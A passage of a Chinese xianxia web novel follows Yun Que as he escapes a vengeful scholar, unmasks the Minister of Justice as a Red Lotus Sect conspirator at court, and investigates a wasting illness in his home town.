龙图阁大学士必定有着造诣不浅的儒家修为,加上武道的展现,姜熵显然是儒家与武道双修之人。 仗着对司天监无比熟悉,云缺一路狂奔,这才没让对方抓到。 姜熵认准了云缺是统管天牢的狗官,红着眼紧追不舍,要将云缺撕碎解恨。 两人在司天监的追逃,闹得鸡飞狗跳。 司天监的少监与属官们全被惊醒,冷春鱼披上衣服出来查看,只看到夜幕下一老一少,狂风般从眼前冲过。 “好像是云大人?” 冷春鱼不知发生了什么,急忙派人拦住两人。 随着司天监汇聚的人手越来越多,场面也愈发混乱。 云缺趁乱拐进个小院,暂时甩开姜熵。 “老家伙,追我算什么能耐,去皇宫追杀皇帝啊!” 云缺倍感无奈。 他现在算真正的到家了,结果人家还是紧追不舍。 没时间多想,云缺几步来到院落一侧。 这里建造着一个磨盘大小的石盘,其上刻着九宫八卦,图内排列一圈小字,坎一、坤二、震三、巽四、中五、乾六、兑七、艮八、离九。 对应着正东的位置,有一个闪烁光晕的豁口。 云缺挪动八卦盘,先后将离九,中五,坤二,兑七,按照顺序划过光晕豁口,随后石盘下传来响动,开启了一扇暗门。 “九五二七,这么多年了,密码还没换,正好让我躲躲。” 云缺一边嘀咕着,一边手脚麻利的开门躲了进去,在里面把门关好。 躲到地底密室,云缺终于长出一口气。 他是刑部提刑官,这要在司天监被人宰了,说出去都得让人笑掉大牙。 云缺的藏身之地,是司天监的地牢,以前这里基本没人。 因为没犯人。 前朝斩妖司一旦出动,所过之地寸草不留,妖魔鬼怪全部杀光,在司天监建个地牢只是摆设,云缺小时候没少来这里玩。 本以为安全了,忽然身后传来野兽般的低吼! 云缺刚一回头,一只手已经掐住了他的脖子! 好快! 云缺豁然一惊。 对方的速度比六品武者要恐怖得多! 五品金身境! 外面有个要命的,结果里面有个更狠的,云缺现在百般无奈,今天实在倒霉。 被掐住的同时,云缺以左手钳住对方的手腕,右手里即将浮现妖刀。 对方的强大,让云缺不得不全力以赴,否则容易被击杀于此。 不等妖刀浮现而出,云缺借着昏暗的烛光看清了对方的面孔。 是个女人。 穿着一身黑衣,长发散乱,好似孤魂野鬼,脸色苍白,年纪在三十岁上下,模样不算丑,但看起来十分冷峻,煞气森森。 看到女人的同时,云缺再次惊讶,脱口道: “疯女人!你怎么在这?” 掐住云缺脖子的手,力道消失了大半,黑衣女人冷峻的目光渐渐现出疑惑,冷冷的盯着云缺,好似不会说话一样。 “松开!是我啊,你忘了当年谁陪你吃狼肉来着!”云缺敲打着对方的手腕道。 第169章 我有人证 今日大朝会。 皇帝的眼圈有些发黑,显得精力不济。 群臣当中也有很多人眼圈发黑,萎靡不振。 这些黑眼圈的文武百官,都得到了那百名舞姬的封赏,最近下朝后肯定第一时间回府,折腾到半夜。彡彡訁凊 黑眼圈的皇帝与黑眼圈的群臣互相看了看,都选择了沉默。 大哥不说二哥。 大家心知肚明,都知道怎么回事儿,没必要挑明。 殷子受的脸色不太好看,明显压着火气。 鸿雁城劫难已经有几天了,估计消息已经传遍了大晋,不仅半座城没了,连大晋仅有的三座伏妖大阵也少了一座,皇帝的威望在百姓心中肯定直线下滑。 好不容易抓到个红莲教的堂主,又在天牢里被灭了口,再加上昨晚姜熵逃脱的消息,殷子受想起来就坐立难安,心里憋着一口恶气。 首辅周史伯上前一步,道: “启奏陛下,前朝大学士姜熵昨夜越狱逃出天牢,闯入司天监,已被就地正法。” 听闻这个消息,群臣大惊失色,尤其从前朝便为官的臣子,心里泛起深深的忌惮,有种兔死狐悲之感。 姜熵是大燕的重臣。 当年誓死不降,被关在天牢十五年之久,如今到底落了个身死的下场。 其实殷子受已经知道了消息,朝中一些真正有地位的人也早就收到了消息,周史伯提及此事,是为了告知天下,姜熵已死。 而且点名是越狱,闯入司天监而亡。 周史伯是在给皇帝撇清关系,告诉众人,姜熵是监正杀的,与皇帝无关。 如此一来,前朝的文武也能安心。 “一代文曲,就此陨落,可惜了。” 殷子受点评了一句,此事不再提及。 姜熵的死,虽然不在多提,但殷子受将火气全撒在了刑部。 皇帝沉着脸,道: “天牢昨晚伤亡如何。” 尚书姜落君连忙上前施礼道: “回禀陛下,天牢狱卒有三百七十一人被杀,令史犁术殉职,七百余名囚犯尽数丧生。” 一听伤亡,群臣再次纷纷色变。 死掉这么多狱卒,相当于提牢司整个被一锅端了! 狱卒加上囚犯,昨晚天牢里死掉了上千人! 六部中的其他五部此时胆战心惊,后怕不已。 幸好姜熵在天牢大开杀戒后去了司天监,否则那个煞星能把六部全给灭掉! 六部当中,刑部战力最强,都让人杀成这种模样,谁能不怕。 陈洲骅等一众刑部令史站在人群最后面,全都脸色铁青。 不是气的,是吓的。 花不谢把他们甩开后独自返回,陈洲骅等人今天早上刚回来,他们都没来得及回刑部就赶来大朝会,听闻昨夜的刑部遭遇,心里全在后怕。 殷子受现在也骂不出来了。 刑部虽然是饭桶,但饭桶都快死绝了,还骂什么呢。 姜落君低着头,等半晌没见皇帝开口,只好硬着头皮道: “微臣有罪,没能监管好天牢,令那姜熵逃脱行凶,姜熵不仅杀了数百狱卒与囚犯,还将红莲教的堂主也一并灭杀,此事微臣罪责难逃,甘愿受罚!” 姜落君请罪,没人敢说情。 因为这罪名必须有人背锅才行,否则皇帝下不来台。 其余的几位尚书纷纷瞄了姜落君一眼,认为刑部今天非得换了尚书不可。 从皇宫血案开始,之后的璇玉郡主逃走,鸿雁城大劫,算上昨晚的天牢血案姜熵脱逃,这一连串的事件,刑部非但没有半点用处,反而差点全军覆没。 当初上官鸿途幸亏只带着令史前往,如果调集刑部所有官差,那今天刑部早已灭门,剩不下几个活人。 殷子受冷冷的瞪着姜落君,看皇帝的架势,罢官都算轻的。 此时人群后方忽然有人开口。 “姜熵老贼卧薪尝胆多年,一朝爆发,实属意外,尚书大人何罪之有。” 众人闻言惊奇起来,纷纷回头,想要看看谁这么大胆子,这种节骨眼儿上敢帮着姜落君求情。 等看清说话之人是云缺后,文武百官的神色变得古怪起来。 下属给上司求情,这种事在其他地方能看到,但在朝堂之上绝对闻所未闻! 一来资格不够,二来官职也不够。 云缺此言一出,众人都有一个感觉。 这小子要陪着姜落君一起丢官罢职。 殷子受皱起眉,沉声道: “刑部难道还想推脱责任不成!刑部本为督查重案之地,你们不仅办事不力,更碌碌无为!简直……简直不可救药!” 当着文武百官,皇帝用了个不可救药的词儿,如果人少点的话,殷子受肯定会大骂饭桶。 “陛下错怪我刑部了。” 云缺朗声道:“从皇宫血案开始,刑部始终在追查凶手,璇玉郡主失踪一事,我们刑部也在日夜追查,不敢怠慢片刻,至于昨晚天牢一事,尚书大人更是冤枉。 姜熵在天牢筹划多年,终于找到机会自己逃了出来,尚书大人根本毫不知情,姜熵那牢房的钥匙只有一把,就在尚书大人身上,难不成是尚书大人亲自放他出来的么。 要我说,真正要责怪的话,只能怪陛下当初不该把姜熵关在天牢,就该关在司天监才对。” 听云缺说完这番话,在场的文武百官纷纷肃然起敬。 瞧瞧,这才是忠心耿耿的下属啊! 宁可冒着得罪皇帝的风险,也要给自家上司辩解,简直没脑子! 很多人觉得云缺是在找死,把罪责推到皇帝头上,这得多大的胆子。 但也有些心思细腻之人,察觉到云缺这番话里的一个疑点。 周史伯微微皱眉,道: “关押姜熵的牢房为特制,常年有阵法笼罩,可封印修为,令其施展不出任何手段,姜熵再如何卧薪尝胆,从牢房里面也打不开牢门,他,究竟是如何逃出来的呢。” 说话间,周史伯将目光望向姜落君。 姜熵那间牢房的唯一钥匙,就在姜落君手里。 殷子受的眼神此刻十分冷冽,寒声道:“姜落君,你身上的钥匙呢。” 姜落君再次施礼道: “钥匙始终在微臣身上,昨夜微臣一直在家,没在天牢,微臣实在不知那姜熵是如何逃出的牢房。” 说完姜落君将钥匙从腰间取出,一名宫女以托盘装好,交给皇帝。 殷子受旁边的老太监接过托盘后看了眼,没说话,对殷子受点了点头,示意钥匙没问题。 线索至此中断。 没人知道姜熵是如何逃出的天牢。 沉闷的气氛中,云缺再次开口,道: “微臣能作证,昨晚尚书大人没去过天牢,但微臣想了想前因后果,觉得姜熵不像自己逃出来的,他肯定是被人放出来的,因为几天前微臣亲自查看过关押姜熵的牢房,并无任何损毁的征兆。” 一听这话,众人的神色纷纷奇怪起来。 殷子受冷声道: “你究竟想说什么,是不是想要捏造个神秘人,将所有罪名推出去,给你们刑部减轻罪责!” 第170章 幕后真凶 云缺的奇怪举动,吸引了所有人的目光。 木箱很大,封得严严实实,好像个棺材一样。 云缺亲手将木箱打开,里面现出一具无头尸体! 大殿内随之嘈杂起来。 “人证呢?怎么成了尸体?” “难道尸体会指认凶手?” “金銮殿上岂能如此胡闹!” 云缺没理睬周围的声音,将尸体拎出来放在大殿中心。 殷子受始终冷眼看着,一语不发。 周史伯锁着眉峰,任他心智高深,这位当朝首辅也看不出云缺究竟有什么目的。 摆好尸体后,云缺道: “人证已到,请诸位大人围成一圈,尸体会指出凶手是谁。” 百官听得莫名其妙。 让满朝文武在金銮殿上围成圈儿,这种事历朝历代也没听说过啊。 礼部的侍郎牛大空实在忍无可忍,道: “堂堂金銮宝殿,群臣议事之地,岂能让文武大臣围着尸体,法理何在!” “谁不围,谁就是真凶。”云缺淡淡道。 牛大空立刻闭嘴,第一个在尸体旁站好。 其他人见皇帝默许,于是无奈的一个挨着一个,围着尸体站好了队,排成一大圈儿。 等众人站好,云缺道: “陛下,微臣要动用特殊手段指认真凶。” “准了。”殷子受冷声道。 “微臣这份手段比较特殊,耗费极大,需要银两才行,俗话说有钱能使鬼推磨,有钱,才能让尸体开口。”云缺道。 “需要多少银两。”殷子受道。 “一万两,差不多够了。”云缺道。 殷子受点了点头,立刻有宫女呈上万两银票。 云缺拿着银票来到尸体近前,让宫女取来根蜡烛。 群臣瞪大了眼睛,以为云缺要施展什么招魂法术,需要以银票为引子。 随后众人看到云缺将万两银票收进怀里,又取出一张白纸点燃,嘴里念念叨叨不知说着什么法咒。 看到这里,群臣的目光变得呆滞起来。 尤其一些私下里收过不少好处的人,纷纷在心里破口大骂。 我们贪钱还要点脸面,从不会在明面上收钱,你丫的倒好,当着皇帝的面贪呐! 贪得太明目张胆了吧! 殷子受没在乎那点钱,冷眼盯着云缺,如果找不到真凶,他会连本带利的收回来。 凌妙清端坐在大殿一侧,远山般的黛眉微微动了动,目光中闪过一丝鄙夷之色。 别人听不到云缺在嘀咕什么,她这位道门高手可听得一清二楚。 哪里是什么法咒,这家伙在念叨百家姓呢! 围着尸体转了三圈,云缺伸展双手,把剑平之跳大神儿那一套表演了一番后,指着尸体突然断喝: “杀你之人,现在何处!” 周围的众人纷纷泄气,觉得云缺就是在瞎胡闹,诓了皇帝一万两银子。 没人觉得尸体当真会开口。 因为连头都没了,根本说不出话来,这种尸体能动就有鬼了。 然而尸体却动了! 缓缓抬起右手,竖起食指,指向一个方位。 尸体的异动,吸引了国师的目光,凌妙清的眼眸里出现一丝疑惑。 别人看不懂云缺如何让尸体动起来,但凌妙清却能看出云缺动用的手段。 神魂法门! 凌妙清的心里有些震惊。 要知道神魂法门极其罕见,连她这位三品道门强者都未必能修炼成功,却偏偏被一个武夫所掌握。 如此现象,让凌妙清惊奇不已。 百官们更是惊讶起来,顺着尸体指向的方位看去,随后纷纷诧异不解。 尸体的手指,正指着刑部侍郎,姜落君。 所有人的目光都落在姜落君身上。 姜落君脸色铁青,沉声道: “云缺!你莫要胡闹,这里是大朝会,不是刑部天牢!” “我没胡闹,令狐豪说了,你,就是幕后真凶。”云缺平静的道。 “本官一向待你不薄,你居然狼子野心,栽赃于我!”姜落君大为恼火,瞪起眼睛喝道。 “你的确对我不错,对刑部的下属也不错,但是,你拿我们当猴子耍啊,姜大人。” 云缺的嘴角挑起一丝冷笑,道:“哦,对了,或许我应该叫你,洛将军。” 此言一出,姜落君旁边站着的文武百官慌忙退后,与其拉开距离。 姜落君面色铁青,冷声道: “胡说八道!本官乃刑部侍郎,岂能与红莲教那些逆贼扯上关系!” “尚书大人别急着反驳,听我抖出你的老底儿。” 云缺面带冷笑,继续道: “两月前,你借着刑部尚书的身份在皇宫内盗走玉玺,得手后被宫娥撞见,你当场将其灭口,就是怕自己的模样暴露,随后你派遣心腹将玉玺藏在学宫,幸好当时陛下早有预料,提前派我去学宫请回了玉玺,这便是皇宫血案的真相。” “之后你为了稳妥起见,杀了藏玉玺的心腹手下,由于对方的家人在当朝为官,为了掩人耳目,你总共杀掉了三十九人,而且全都是官宦子弟,如此一来,没人会猜到你才是真凶,妖山血案的真相将隐藏得更深。” “当初百玉城守将负易,即将说出红莲教的线索,第二天却死在天牢,也是你下的手,负易之死,并非神魂受创,而是脑袋里被人下了蛊虫。” “璇玉郡主,也是尚书大人一手救出誉王府,派人送去了边关后,再将其击杀,彻底激怒邵武国,挑起两国之战,区区一个郡主,怎么可能逃得出天祈皇城,整个刑部都在搜查她的下落,唯有你这位尚书大人,才能知道刑部的所有动作,从而轻易避开搜查,送璇玉郡主顺利出城。” “接下来是鸿雁城大劫,红莲教早不引发火药,晚不引发火药,偏偏选在刑部与守军围剿的关键时刻炸开,这个时间点掐得太巧了,红莲教是如何知道的刑部到达时间呢,那就要问问你这位坐镇刑部的尚书大人了,是你私下里通知的红莲教,是你,葬送了万余名守军与数十万百姓的生命!” “最后是昨晚的事,姜熵这些年成了什么鬼样子,别人或许不知道,我身为天牢提刑官自然一清二楚,姜熵平常连饭都吃不饱,他哪有力气破开封印,逃出牢房?姜熵的牢门,只有你才打得开,不是你放他出来,又是谁呢。” “你昨晚之所以急着灭口令狐豪,是因为你在红莲教只有个名字,几乎没人知道你真正的身份,而胡子令狐豪,是唯一与你对接的人,杀了他,你自可洗脱嫌疑。” “令狐豪是替洛将军办事的,谁又能想到,那位洛将军,就是刑部尚书呢,洛将军,姜落君,尚书大人这化名起得妙啊,一字不差!” 等云缺说完,大殿内鸦雀无声,针落可闻。 一连串的线索被穿起,云缺道出了真正的幕后元凶。 第173章 神道尽头是挖坟 答应过剑平之每月听课一次,云缺没办法,只好走进北楼。 西楼虽然像鬼屋,好歹还有三个活人,北楼里灯火辉煌,天天只有剑平之一个。 这位还住得不错,把北楼大厅布置着井然有序,一排排的书桌长凳整整齐齐。 可惜都是空的。 剑平之站在讲台,目光有神,意气风发。 来学宫一个月多,可算有了学生,他终于有机会当一回先生。 开讲之前,剑平之咳嗽了一声,道: “坐到前面来,你离着那么远作甚!” 云缺坐在最后一排,隔着整个大厅。 “坐这挺好的,我能听到,先生讲吧。”云缺一脸不耐烦的道。 最好剑平之一气之下将自己赶出去,以后就不用来了。 剑平之脾气很好,非但没生气,反而自己动手把讲台搬到云缺面前。 云缺看得眼睛发直。 如此爱护学子的先生,整个学宫里也就剑平之独一份了。 这得多想教人学问呐! 剑平之又咳嗽了一声,朗声道: “修行界万千法门,无数神通,玄奥莫测,神异非凡,然!每一份法门都逃不过五行之力,均有克制之法,天下间唯有神道,乃无解之术!” 剑平之说得气势昂然,有一种天上地下唯我独尊的气势。 云缺眯着眼,听得想要打瞌睡。 “神道之深奥,天下凡人无法想象,神道之威能,天下修士无人能及!只有修炼神道一途,将来方可摘星揽月,做那缥缈之仙!” 剑平之唾沫横飞,吹嘘道: “神道有数种法门,本先生修炼的是请神一道,请来力士之神可提升本体力量,请来土地之神可瞬息万里,请来火焰之神能烈火临身而毫发无损,请来河伯之神可深入大泽如履平地!” 说到兴奋之处,剑平之一低头,看到云缺正趴在桌子上打呼噜。 咚咚咚。 剑平之敲了敲讲桌,云缺迷迷糊糊的坐了起来,继续听讲。 “简单点说,请神,便是请来已故强者的神魂,对方生前的修为越强,请来后,我们自身爆发的力量越强,这便是神道的无敌之处!” 剑平之傲然道:“你可以想象一下,若自己遇到强敌即将被杀之际,直接请来三品二品乃至一品强者的神魂,那将是多么壮观的景象!远古战魂赋予你恐怖的力量,顷刻间转败为胜,眼前的强敌成了弱小的蝼蚁,一拳即可轰杀!” 云缺的脑袋一点一点,眼皮实在睁不开了。 剑平之讲了半天,见云缺不为所动,道: “听到这里,你一定很好奇,那些远古战魂究竟在何处呢?” “不好奇。”云缺打着哈欠道。 “问得好!” 剑平之所问非答的道:“真正的强者,即便死去百年千年亦有意志留存,只要有所依托,这些留存的意志就不会随着时间流逝而消散,依托之物可以是一把刀,一把剑,一本书,或者强者们的尸体,饰物,法器法宝等等。” “就是遗物呗。”云缺百无聊赖的道。 “聪明!我早看出你适合神道,你简直是天选之子!”剑平之两眼放光的道。 云缺十分后悔,我就不该嘴欠接茬。 “死者遗物,是最佳器皿,可用来召唤死者的意志与力量,这便是请神之道的核心所在,你要时刻牢记,今后外出游历的时候,注意些坟墓之类的地点,也许会有意外收获。”剑平之道。 云缺听得不对味了,问道: 第174章 不干人事儿的七叔 得知上官鸿途还有救,云缺很高兴。 上官鸿途在鸿雁城的所作所为,令人敬佩,如果能帮上忙,云缺绝对会全力相助。 而且云缺知道杨七古就在百玉城隐居。 但赵玉壶咬牙切齿的愤恨模样,让云缺大为不解,尤其赵玉壶居然还是杨七古的师弟。 这个师弟,好像恨透了师兄似的。 “杨七古原来是先生的师兄,不知先生为何骂师兄呢?”云缺道。 “骂?我还想揍他呢!” 赵玉壶气哄哄的道:“当年我就是被那老混蛋诓来的学宫,他走的时候让我顶替几天,说是去去就回,然后一去不回,二十年来不见人影!一提他我就火大!” 赵玉壶说完甩袖而走,喝闷酒去了。 站在上官鸿途的病床前,云缺神色古怪。 七叔绝对是隐世高手,怎么以前总不干人事儿呢,不仅借了墨老的炼尸去和红颜知己比试,还把自己师弟坑到学宫替自己任教。 随着愈发了解七叔的往事,云缺觉得庸医馆的老头儿,人设快崩了。 简直与自己不相上下! 望着昏睡不醒的上官鸿途,云缺神色凝重了下来。 “既然有救,我去请七叔,大人光正大义,不该沉眠于此,皇帝或许不需要你,但天下百姓,需要你这种臣子。” 云缺决定明天赶往百玉城,去请七叔出山。 救上官鸿途是其一,最重要的,是确定七叔那个红颜知己楚红莲,到底是不是红莲教主! 想起明天太子将前往邵武国,云缺去了趟东宫。 太子即将远行,以后自己未必还能再来东宫,最后泡一次澡也是好的。 抓了个宫女一问,太子始终在书房,半天没出过来。 东宫里的宫女和太监显得人心惶惶,都听说了太子要远赴邵武国的消息,这一走还能不能回来,没人知道。 云缺照例不敲门走进书房。 书房没人,鸦雀无声。 绕到后面的水池,看到太子飘在水上,面朝下,一动不动。 云缺第一个想法是,太子想不开,自尽了! 上前几步,一把将太子捞出来。 “啊!你干什么!” 太子惊呼出声,被吓了一跳。 云缺也被吓了一跳,还以为诈尸了。 “殿下何必如此想不开,就算自尽,最好给自己来一刀,不受罪,淹死多难受。”云缺道。 “谁自尽了!我只是在水里冷静冷静。”殷宣懊恼道。 “微臣误会了。”云缺笑呵呵的开始脱外套。 “你又干嘛!”殷宣怒道。 “微臣也想冷静冷静。”云缺甩掉衣服跳进池子,水花溅了殷宣一脸。 堂堂太子,又气又恼,却无可奈何。 殷宣指了指石台上二十多片金沙草,道:“东宫还剩这些金沙草,你都拿走吧。” “多谢殿下赏赐。”云缺道。 殷宣将瘦削的身子缩在水里,现出一种哀思之态,轻吟道: “海日生残夜,江春入旧年,乡书何处达,归雁洛阳边。” 云缺听得出这位太子心中的悲戚。 “质子多好啊,我如果是太子,巴不得被送去邵武国当质子。”云缺道。 “远离故土,寄人篱下,生死不由己,有什么好呢。”殷宣情绪低落的道。 “质子的身份就是免死金牌,可以随便折腾,换成是我去的话,保证一年之内,摆在邵武国皇帝面前只有两条路,一个是杀了我两国开战,另一个是把我送回大晋。”云缺道。 云缺若是太子身份,被送去当质子,那邵武国别想安宁,皇宫都得被捅几个窟窿。 但殷宣不是云缺。 大晋的这位太子,不仅为人比较阴柔,脾气也如同女人,做不出上房揭瓦大闹四方的事。 况且殷宣的修为也不够。 “云缺,其实我好羡慕你,羡慕你的豁达,羡慕你的随遇而安,羡慕你能认可自己的男儿之身。” 殷宣苦涩的笑了下,起身走出水池,穿上一套蓝色的长裙,坐在水池边描眉打扮。 云缺没说话。 他知道这次,可能是殷宣最后一次穿裙衣,他的这点小爱好,在邵武国绝对不会展露,否则大晋会被沦为笑柄。 打扮完毕,殷宣转了个身,裙裾飞扬。 若不开口,从外表根本看不出他是男儿身。 “说实话,我美么。”殷宣道。 “殿下与学宫十美,不相上下。”云缺道。 这话并不违心,扮成女装的太子,确实极美。 殷宣微笑了起来,虽然笑容仍旧凄苦,但多了几分释然。 第175章 怪病 小雨淅沥,藏石镇的深冬格外湿冷。 街上行人不多,行色匆匆。 冬雨透骨,但走进小镇的云缺反而轻松自在。 这里,是他生活了十五年的家。 藏石镇的一切,云缺都无比熟悉。 走在小镇街头,云缺的心情带着些许复杂。 红莲教主如果当真是七叔的那位红颜知己,七叔该如何面对。 恐怕那段虽然凄美却带着温馨的回忆,只会剩下痛苦。 云缺了解七叔。 因为两人很早就认得。 七叔对于云缺来说,亦师亦友。 云缺至今仍清晰的记得,第一次与七叔见面的情景。 在五岁那一年,小小的云缺提着一张破破烂烂遍布污垢的妖狼皮,走进了庸医馆。 狼皮质地不好,又遍布破洞,在百玉城根本没人收。 云缺饿着肚子卖了一天,最后实在没办法,只能去各处商行药铺碰碰运气。 见到七叔后,云缺狮子大开口,要价五两银子。 反正没抱希望,在外面一两银子都没人买。 不料七叔不仅买了,还给了十两银子。 云缺大为不解,问七叔我卖五两,你为何给十两。 七叔说,你这个年纪能猎杀妖狼,这张狼皮便值十两,一两银子是狼皮的价值,另外九两银子,是你勇气的价值。 从那以后,云缺猎到些值钱的妖兽,肯定先送来庸医馆。 每次卖完东西,都会在庸医馆住几天。 云缺对医道没兴趣,七叔也不教医道,一老一少只是谈天说地。 与一位修为高深又饱读诗书的修行者谈天,收获的,可不止是一时的开怀,而是如山的学问! 云缺自小是孤儿,整天为了活命奔波,根本没读过书。 但他不仅认字,还明白很多道理,学问上并不比十年寒窗的那些学子差。 正是因为七叔,在每一次的谈天中,潜移默化的传授着云缺学识。 刚开始云缺太小,并不知道,只觉得七叔很有学问,懂得很多道理,说话又风趣,是个有意思的小老头儿。 到后来长大了,云缺才终于知道,七叔对自己有着授业之恩! 云缺在藏石镇这边有半个朋友,也有半个老师。 半个朋友是梅钱,半个老师,便是七叔,杨七古。 经过包子铺的时候,一群汉子高兴的招呼着云哥儿。 正好饿了,云缺顺便吃了顿包子。 吃饭的时候,看到一伙发丧的队伍经过。 死人很常见,藏石镇虽然不大,也有上万人口,云缺没在意。 包子铺老板叹气道: “这是今天第五个了,最近不知咋了,天天死人。” “一天死了五个?最近很多人去世么。”云缺奇怪道。 天天死人不算稀奇,毕竟镇子不算小,可一天死五个,属实有点多了。 “是啊,云哥儿才回来不知道,最近半个多月,镇子上每天得死十个八个的。”包子铺老板道。 “云哥儿给瞧瞧,咱们镇子里是不是闹邪祟了?”一名吃饭的汉子道。 “对了,矿上也死了好几个!”一名瘦削的汉子道。 “镇子里人心惶惶的,云哥儿回来就好了。”包子铺老板道。 吃完包子,老板说什么也不要钱,云缺扔下铜钱走上街头。 迎面急匆匆走来几名衙役,为首的正是藏石镇捕头武大川。 “云哥儿!”33qxs.m 武大川一眼看到云缺,高兴道:“听说你在皇城当官儿了!真有你的!这叫衣锦还乡啊!” “芝麻官而已,皇城的水深着呢。” 云缺笑了笑,道:“看没看到七叔,听说七叔来镇上出诊了。” “看到了!正好我也去找神医,跟我走。”武大川在前边带路。 “听说镇子上死了不少人,都怎么死的。”云缺在路上问道。 “全是病死的!也不知今年怎么了,这个月都死了上百个,邪门儿呢。”武大川唉声叹气的道。 很快云缺来到镇子上一间大宅院。 这里云缺最熟,陈员外家。 其实云缺大致猜到了,整个藏石镇,有财力请七叔过来的,也就陈员外了。 进了门,云缺跟着武大川来到后宅,终于见到了杨七古。 七叔正在给病人把脉,眉头紧锁。 陈员外等在一旁,神色焦急,坐立不安。 生病的,是陈员外的夫人。 在云缺的印象里,这女人平日里很是刁蛮,体格倍儿棒,能吃能喝。 如今一看,骨瘦如柴,气息奄奄。 不久前陈员外痛失爱女,夫妻俩肯定上火,但这么快就病入膏肓就有点奇怪了。 不多时,七叔诊脉结束,开了个方子,道: “换药,昨天的方子不用了,改成这副。” 陈员外连忙道谢,叫下人赶紧去抓药。 “七叔怎么亲自过来了,我记得你从来不出诊的。”云缺打着招呼。 “在百玉城住得闷了,出来散散心,顺便赚点钱。”杨七古往外看了眼,示意出去说话。 武大川急切道: “神医!镇上又有一家出病患了,眼看着要咽气,您看能不能给看看,那家挺穷的,估计给不起诊费。” “去看看。”杨七古说着走出大门。 一行人赶到小镇边缘一户普通人家。 病患是个年轻人,身体很壮实,眼窝深陷,脸色铁青,躺在床上一动不动,只有些许微弱呼吸,进气多,出气少,明显处于弥留之际,即将咽气。 “大牛?” 云缺认得病人。 镇子上数一数二的淘气包,上山抓兔子下河打鱼,整天精力充沛。 藏石镇谁病倒都不奇怪,唯独最强壮的一个病倒了,实属怪事。 杨七古诊完脉,留下个药方,没收钱。 大牛的家人千恩万谢,都知道杨七古是百玉城的神医,觉得神医来了,大牛就有救了。 云缺看得出来,大牛没救了。 熬不过今晚。 七叔开个方子,只是安抚下家人的情绪罢了。 武大川还有事忙,返回了衙门。 云缺跟着杨七古回到客栈。 “七叔来几天了。”云缺道。 “三天。”杨七古沏了壶茶,给云缺倒了一杯。 “陈员外那点钱,估计请不动七叔,是不是病情特殊。”云缺喝着茶道。 “不是特殊,而是蹊跷,所以我才来瞧瞧。”杨七古道。 “蹊跷?难道有人下毒?”云缺道。 “不是毒,单纯的病,藏石镇的病人有个同样的特点,神魂枯竭,类似中了摄魂法术。”杨七古道。 “七叔的镇魂三针,不是专门治疗神魂的么,难道无效?”云缺道。 “有效,但很难救得回来,病人不止神魂枯竭,身上的气血也在不断流逝,魂血皆失,神仙难救。”杨七古道。 “一次病倒这么多人,背后看来有人在搞鬼。”云缺心里猜测着红莲教。 “应该不是人为。”杨七古笃定道。 “那他们怎么得的病?”云缺奇怪道。 “病人沾染了某种气息,这几天我到镇子外走了走,发现一个奇怪的现象。”杨七古说完,喝了口茶。 “别吊我胃口了七叔,赶紧说说什么现象。”云缺催促道。 “镇子西边的山林里,天地气息正在逐渐变得阴冷,或者说,适合修行者炼化摄取的天地灵气,在逐渐消失。”杨七古道。 云缺是武夫,不需要天地灵气,但其他派系的修行者可需要。 天地中存在着单薄的灵气,也可以称之为五行气息,是修行者施展法术的一种媒介,也可炼化吸纳提升自身修为,一些灵气浓郁的地方,被称之为洞天福地。 藏石镇附近没有洞天福地,但只要有空气存在的地方,或多或少都会有灵气存在。 灵气消失这种怪事,云缺可没听说过。 “到底什么原因?”云缺道。 “不清楚,我查看过整个山林,没有异兽存在,也没有鬼物滋生,也许是天地自行演变的结果。”杨七古道。 七叔既然查看过,云缺放弃了去看看的想法。 七叔的境界比自己高得多,人家都看不出来,自己去了也没用。 “西边……” 云缺自语着西边两个字,想起了一件事。 游子湖里的腾蛇,当时就望向西方。 云缺将腾蛇出水的消息告知了七叔,杨七古皱着眉,感慨道: “腾蛇出水,必有大灾,凡人之力又岂能抗衡,听天由命罢。” “七叔原来是个喜欢认命的人。”云缺道。 “己命不可认,但天命难违啊。”杨七古唏嘘道。 “七叔是不是岁数大了,开始喜欢伤春悲秋,天若有命,早抹杀掉世间生灵了,老天爷自己安安静静的享受多好,弄一堆人啊妖啊鬼啊怪啊的,多吵。”云缺道。 “年轻的时候,我也这么想的。”杨七古笑了笑,道:“现在老喽,说不定哪天就与世长辞。” “七叔想埋在哪儿,青狐山还有地方,我给你也弄座坟,无聊的时候还能有人唠嗑。”云缺道。 “你小子总是异想天开,咱俩唠鬼嗑么。”杨七古喝了口茶,道:“你不是护送郡主去了皇城,怎么回来了。” “说来话长,我这次……”云缺刚说半句,客栈外的街上出现嘈杂。 一伙人抬着几个担架赶到客栈外,求七叔帮忙看病。 杨七古走出客栈,看了看病人,眉头紧皱。 是几个半大孩子,最大的不过十岁,最小的,也就五六岁。 这些孩子脸色乌青,眼圈发黑,呼吸微弱,与之前的病人症状相仿。 杨七古把了把脉,直接动用镇魂三针,分别扎了一遍。 几个孩子的气色明显好转不少。 七叔又写下一份药方,让孩子的家人赶紧去抓药。 云缺看到几个孩子的鞋底有泥巴,问道: “他们之前去了何处?” “镇子外边的树林,捡柴火去了,去的时候还好好的,半天不到居然全病倒了!”一个病人家眷回答道。 这人说完还特意给云缺指了指方向。 就在镇子西边,不远处的树林。 云缺的望向那片树林,随后目光一动。 树林后面,是藏石镇的矿山。 “七叔,跟我去个地方,我知道怪病的来源了。”云缺脸色凝重的道。 第176章 男人至死是少年 藏石镇后山,玉石矿。 云缺与杨七古走在昏暗的矿洞里,一人拿着一支火把。 “这里,究竟有什么。”杨七古脚步稳健,沉声道。 “七叔记不记得我跟你提起过,那副奇怪的壁画。”云缺道。 “四位超品,围战一名武夫那副么。”杨七古道。 “对,去年发现的,本来打算找机会带出去看看值不值钱,后来我放弃了。”云缺道。 “让你放弃赚钱,实在罕见,看来壁画有问题。”杨七古道。 “确实有问题,壁画能动,我第一次见到壁画,便试着挖下来,结果挖不动。” 云缺的声音变得低沉起来,道:“第二次去的时候,发现壁画上的血瞳,位置变了,那血瞳始终盯着我,好像要吞了我一样。” “莫非,壁画内有活物?”杨七古皱眉道。 “没有,壁画肯定是死物,七叔知道我斩过多少妖,活物死物我还分辨得清。”云缺继续道:“我觉得镇子外的气息变化,镇上的百姓得病,应该都与壁画有关。” 很快,云缺带着杨七古来到矿洞深处的岔路口。 再往前,便是壁画所在的地方。 “七叔小心些,就在前面了。”云缺道。 杨七古点点头,神色谨慎。 走到一半,云缺疑惑起来。 之前被他放在这里堵死洞口的大石头,不见了! 那可不是真正的石头,而是去年在矿洞里乱窜的一股流沙,被云缺砍了几百刀之后不动了,后来做成一块巨石封住洞口。 难道有人来过? 